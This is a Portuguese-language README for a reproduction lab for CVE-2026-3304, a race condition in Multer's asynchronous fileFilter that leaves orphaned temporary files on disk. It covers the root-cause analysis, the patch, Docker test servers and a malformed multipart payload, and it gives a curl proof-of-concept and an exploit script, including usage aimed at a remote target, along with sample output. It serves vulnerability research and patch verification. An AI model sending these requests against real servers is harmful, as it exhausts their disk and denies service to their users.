
Laboratório de reprodução para CVE-2026-3304, uma condição de corrida no fileFilter assíncrono do Multer que causa esgotamento de disco por meio de arquivos temporários órfãos. Inclui servidores Docker vulneráveis e corrigidos, scripts de exploit e análise da causa raiz.
Apenas para fins educacionais e de pesquisa. Atacar sistemas sem autorização é ilegal.
Este ambiente de laboratório foi construído analisando o patch do Multer 2.1.0 e seu código de teste oficial. O servidor vulnerável replica as condições exatas descritas no teste do patch, e o servidor corrigido executa o Multer 2.1.0 para confirmar que a correção funciona.
| Campo | Detalhes |
|---|
| CVE | CVE-2026-3304 |
| Alvo | Multer < 2.1.0 (middleware multipart/form-data do Node.js) |
| Tipo | DoS — Arquivo Órfão (limpeza incompleta de arquivos temporários) |
| CWE | CWE-459: Limpeza Incompleta |
| CVSS 4.0 | 8.7 ALTA |
| Versão Corrigida | Multer 2.1.0 |
Uma requisição multipart malformada com um atributo name ausente em uma parte de arquivo faz com que o Multer crie um arquivo temporário no disco, mas nunca o limpe. Requisições repetidas esgotam o espaço em disco, resultando em uma Negação de Serviço.
A vulnerabilidade se origina no fluxo de tratamento do callback fileFilter dentro de multer/lib/make-middleware.js.
Quando o Multer transmite e analisa uma requisição multipart parte por parte, ocorre a seguinte sequência:
[Sequência de eventos de análise — versão vulnerável]
1. Cabeçalho da Parte 1 recebido
→ fileFilter(req, file, cb) chamado
→ setImmediate(cb) → callback adiado para o próximo ciclo do event loop
2. Corpo da Parte 1 recebido
→ /tmp/uploads/<uuid> aberto, dados começam a ser gravados
3. Cabeçalho da Parte 2 recebido (atributo name ausente)
→ Multer detecta 'name ausente'
→ errorOccured = true ← flag de erro definido
→ abortWithCode('LIMIT_FIELD_KEY') chamado → HTTP 500 agendado
4. Callback do setImmediate dispara (próximo ciclo do event loop)
→ resultado do fileFilter: includeFile = true (fluxo normal)
→ [BUG] flag errorOccured NÃO é verificada
→ storage._handleFile() chamado → arquivo temporário confirmado no disco
5. Resposta HTTP 500 enviada
→ arquivo temporário permanece no disco (arquivo órfão)
make-middleware.js — Multer < 2.1.0)// callback de conclusão do fileFilter (adiado via setImmediate)
fileFilter(req, file, function (err, includeFile) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
if (!includeFile) {
appender.removePlaceholder(placeholder)
return fileStream.resume()
}
// ❌ errorOccured nunca é verificado aqui
// mesmo que um erro tenha sido definido durante a análise da Parte 2, a execução continua
storage._handleFile(req, file, function (err, info) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
// arquivo temporário é registrado em uploadedFiles e deixado no disco
appender.replacePlaceholder(placeholder, assign(file, info))
checkFinished()
})
})
Por que o setImmediate é o problema?
Envolver fileFilter com setImmediate adia seu callback para o próximo ciclo do event loop.
Nessa janela, o busboy (o analisador multipart) continua analisando os cabeçalhos da próxima parte,
descobre o name ausente e define errorOccured = true.
Quando o callback é retomado, o estado de erro já está definido — mas o código nunca o verifica,
então storage._handleFile é chamado incondicionalmente e o arquivo temporário é gravado no disco.
Commit da correção: 739919097d
Uma única proteção if (errorOccured) foi adicionada imediatamente após a entrada do callback fileFilter,
antes que storage._handleFile seja alcançado.
// callback de conclusão do fileFilter (Multer 2.1.0)
fileFilter(req, file, function (err, includeFile) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
// ✅ [PATCH] Verifica errorOccured antes de prosseguir
if (errorOccured) {
appender.removePlaceholder(placeholder)
return fileStream.resume() // drena o stream — nenhum arquivo gravado no disco
}
if (!includeFile) {
appender.removePlaceholder(placeholder)
return fileStream.resume()
}
storage._handleFile(req, file, function (err, info) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
appender.replacePlaceholder(placeholder, assign(file, info))
checkFinished()
})
})
| Item | Vulnerável (< 2.1.0) | Corrigido (2.1.0) |
|---|---|---|
Verificação de errorOccured | ❌ Não verificada | ✅ Verificada imediatamente na entrada do callback |
_handleFile chamado em caso de erro | Sim | Bloqueado |
| Limpeza de arquivos temporários | ❌ Ausente | ✅ Via fileStream.resume() |
| Arquivos órfãos por requisição | 1 | 0 |
Por que fileStream.resume() faz a limpeza:
Chamar fileStream.resume() drena e descarta o stream sem passá-lo ao DiskStorage,
então nenhum arquivo é gravado e nada é deixado no disco.
A equipe do Multer incluiu o seguinte teste Mocha no patch 2.1.0 para verificar a correção.
Este teste se tornou o modelo para este ambiente de laboratório — o servidor vulnerável
replica a configuração exata descrita aqui (setImmediate fileFilter + requisição multipart malformada),
e o comportamento esperado é verificado tanto nas versões vulnerável quanto corrigida.
/* eslint-env mocha */
var assert = require('assert')
var fs = require('fs')
var os = require('os')
var path = require('path')
var http = require('http')
var express = require('express')
var multer = require('../')
describe('limpeza assíncrona do fileFilter', function () {
it('não deixa arquivos órfãos quando a requisição é abortada com nome de campo ausente', function (done) {
var uploadDir = fs.mkdtempSync(path.join(os.tmpdir(), 'multer-orphan-'))
var app = express()
// Gatilho da vulnerabilidade: fileFilter assíncrono via setImmediate
var upload = multer({
dest: uploadDir,
fileFilter: function (req, file, cb) {
setImmediate(function () { cb(null, true) })
}
})
app.post('/upload', upload.any(), function (req, res) {
res.json({ success: true })
})
// Tratador de erros: responde com 400
app.use(function (err, req, res, next) {
res.status(400).json({ error: err.code })
})
var server = app.listen(0, function () {
var port = server.address().port
var boundary = 'TestBound'
// Corpo malicioso: Parte 1 válida, Parte 2 sem atributo name
var body =
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="f"; filename="a.bin"\r\n' +
'Content-Type: application/octet-stream\r\n\r\nDADOS DO ARQUIVO ÓRFÃO\r\n' +
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; filename="b.bin"\r\n' + // ← name= ausente
'Content-Type: application/octet-stream\r\n\r\nx\r\n' +
'--' + boundary + '--\r\n'
var req = http.request({
hostname: 'localhost',
port: port,
path: '/upload',
method: 'POST',
headers: {
'Content-Type': 'multipart/form-data; boundary=' + boundary,
'Content-Length': Buffer.byteLength(body)
}
}, function (res) {
res.resume()
res.on('end', function () {
setTimeout(function () {
var files = fs.readdirSync(uploadDir)
// Verificação 1: o servidor deve responder com 400 (erro)
assert.strictEqual(res.statusCode, 400)
// Verificação 2: nenhum arquivo órfão deve permanecer no disco
assert.strictEqual(files.length, 0)
server.close(done)
}, 500)
})
})
req.write(body)
req.end()
})
})
})
| Verificação | Significado |
|---|---|
res.statusCode === 400 | O Multer rejeita corretamente a requisição malformada |
files.length === 0 | Nenhum arquivo órfão deixado no disco (patch verificado) |
Em uma versão vulnerável (< 2.1.0), files.length é igual a 1 e a verificação falha.
Este laboratório espelha diretamente a configuração do teste do patch acima.
Servidor vulnerável (Dockerfile + app/server.js) executa o Multer 2.0.2 com um fileFilter assíncrono
usando setImmediate — a condição exata de gatilho do teste do patch:
// app/server.js — replica o gatilho da vulnerabilidade do teste do patch
const upload = multer({
dest: UPLOAD_DIR,
fileFilter: function (req, file, cb) {
setImmediate(function () { // ← adia o callback, criando a condição de corrida
cb(null, true)
})
}
})
Servidor corrigido (Dockerfile.patched) executa o mesmo server.js, mas instala o Multer 2.1.0,
onde a proteção errorOccured está em vigor — correspondendo ao estado de aprovação esperado do teste do patch.
| Servidor | Porta | Multer | Comportamento esperado |
|---|---|---|---|
| Vulnerável | 3000 | 2.0.2 | Arquivo órfão criado por requisição malformada |
| Corrigido | 3001 | 2.1.0 | Nenhum arquivo órfão — limpeza funciona corretamente |
Nota: Alterar
fileFilterpara síncrono (removendosetImmediate) previne arquivos órfãos mesmo no Multer < 2.1.0. A vulnerabilidade requer ambas as condições: umfileFilterassíncrono e a verificação ausente deerrorOccured.
O ataque envia um POST multipart/form-data onde a segunda parte está sem o atributo name obrigatório.
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="file"; filename="photo.jpg"
Content-Type: application/octet-stream
<dados binários>
------Boundary--
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="file"; filename="legit.bin" ← Parte 1: válida, arquivo temporário criado aqui
Content-Type: application/octet-stream
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
------Boundary
Content-Disposition: form-data; filename="malformed.bin" ← Parte 2: name= ausente!
Content-Type: application/octet-stream
x
------Boundary--
Execução no lado do servidor:
1. Parte 1 chega → Multer abre /tmp/uploads/<uuid> e começa a gravar
2. fileFilter chamado com setImmediate → callback adiado
3. Parte 2 chega → Multer detecta name ausente → errorOccured = true
4. setImmediate dispara → callback do fileFilter é executado
5. [BUG] errorOccured não verificado → storage._handleFile chamado
6. Arquivo temporário gravado no disco
7. HTTP 500 retornado
8. /tmp/uploads/<uuid> permanece no disco para sempre ← arquivo órfão
Resposta do servidor:
HTTP/1.1 500 Internal Server Error
MulterError: Field name missing
at abortWithCode (/app/node_modules/multer/lib/make-middleware.js:...)
curl -s -X POST http://localhost:3000/upload \
-H "Content-Type: multipart/form-data; boundary=----Boundary" \
--data-binary $'------Boundary\r\nContent-Disposition: form-data; name="file"; filename="legit.bin"\r\nContent-Type: application/octet-stream\r\n\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n------Boundary\r\nContent-Disposition: form-data; filename="malformed.bin"\r\nContent-Type: application/octet-stream\r\n\r\nx\r\n------Boundary--\r\n'
Verifique os arquivos órfãos imediatamente após:
curl http://localhost:3000/status
pip install requests)# Inicia servidores vulnerável (porta 3000) + corrigido (porta 3001)
docker compose up -d --build
# Verifica se ambos estão em execução
curl http://localhost:3000/status
curl http://localhost:3001/status
bash exploit/curl_poc.sh
# Padrão (50 requisições)
python3 exploit/exploit.py
# Ataque pesado (500 requisições, payload de 5 KB cada)
python3 exploit/exploit.py --count 500 --size 5120
# Contra alvo HTTPS com certificado autoassinado
python3 exploit/exploit.py --target https://target.example.com --no-verify
# Comparar com a versão corrigida
python3 exploit/exploit.py --target http://localhost:3001 --count 50
bash exploit/monitor.sh
curl -X DELETE http://localhost:3000/reset
| Alvo | Resultado |
|---|---|
| Servidor vulnerável (3000) | Arquivo órfão criado por requisição, disco cresce continuamente |
| Servidor corrigido (3001) | 0 arquivos órfãos independentemente do número de requisições |
[*] CVE-2026-3304 Exploit de DoS de Arquivo Órfão do Multer
[*] Alvo : http://localhost:3000/upload
[*] Requisições: 50 | Atraso: 0.0s | Payload: 2048 bytes
------------------------------------------------------------
[*] Antes do ataque — arquivos órfãos: 0
[ 10/50] Resposta 500: True | arquivos órfãos: 10 | disco: 20.00 KB
[ 20/50] Resposta 500: True | arquivos órfãos: 20 | disco: 40.00 KB
[ 30/50] Resposta 500: True | arquivos órfãos: 30 | disco: 60.00 KB
[ 40/50] Resposta 500: True | arquivos órfãos: 40 | disco: 80.00 KB
[ 50/50] Resposta 500: True | arquivos órfãos: 50 | disco: 100.00 KB
============================================================
[Resultado] Total de requisições: 50 | Acionadas: 50
[Resultado] Arquivos órfãos: 0 -> 50
[Resultado] Disco desperdiçado: 100.00 KB
[!] VULNERÁVEL: 50 arquivos temporários deixados no disco, nunca limpos
[!] Ataques repetidos esgotarão o espaço em disco (DoS)
$ docker exec cve-2026-3304-target df -h /tmp/uploads
Antes do ataque:
Filesystem Size Used Available Use% Mounted on
tmpfs 50.0M 0 50.0M 0% /tmp/uploads
Após 200 requisições × 5 KB:
Filesystem Size Used Available Use% Mounted on
tmpfs 50.0M 1.6M 48.4M 3% /tmp/uploads
$ docker exec cve-2026-3304-target du -sh /tmp/uploads
1.6M /tmp/uploads
$ docker exec cve-2026-3304-target ls /tmp/uploads | wc -l
200
Cada arquivo órfão permanece no disco permanentemente até que o servidor seja reiniciado ou limpo manualmente. O tmpfs do contêiner é limitado a 50 MB — atingir o limite faz com que o servidor falhe em novos uploads completamente.
Execução 1: arquivos órfãos 0 -> 50 (100 KB)
Execução 2: arquivos órfãos 50 -> 100 (200 KB)
↑ arquivos da execução 1 ainda presentes — nunca limpos
[ 10/50] Resposta 500: True | arquivos órfãos: 0 | disco: 0.00 KB
[ 20/50] Resposta 500: True | arquivos órfãos: 0 | disco: 0.00 KB
[ 30/50] Resposta 500: True | arquivos órfãos: 0 | disco: 0.00 KB
[ 40/50] Resposta 500: True | arquivos órfãos: 0 | disco: 0.00 KB
[ 50/50] Resposta 500: True | arquivos órfãos: 0 | disco: 0.00 KB
[*] Nenhum arquivo órfão — versão corrigida limpa corretamente
docker compose down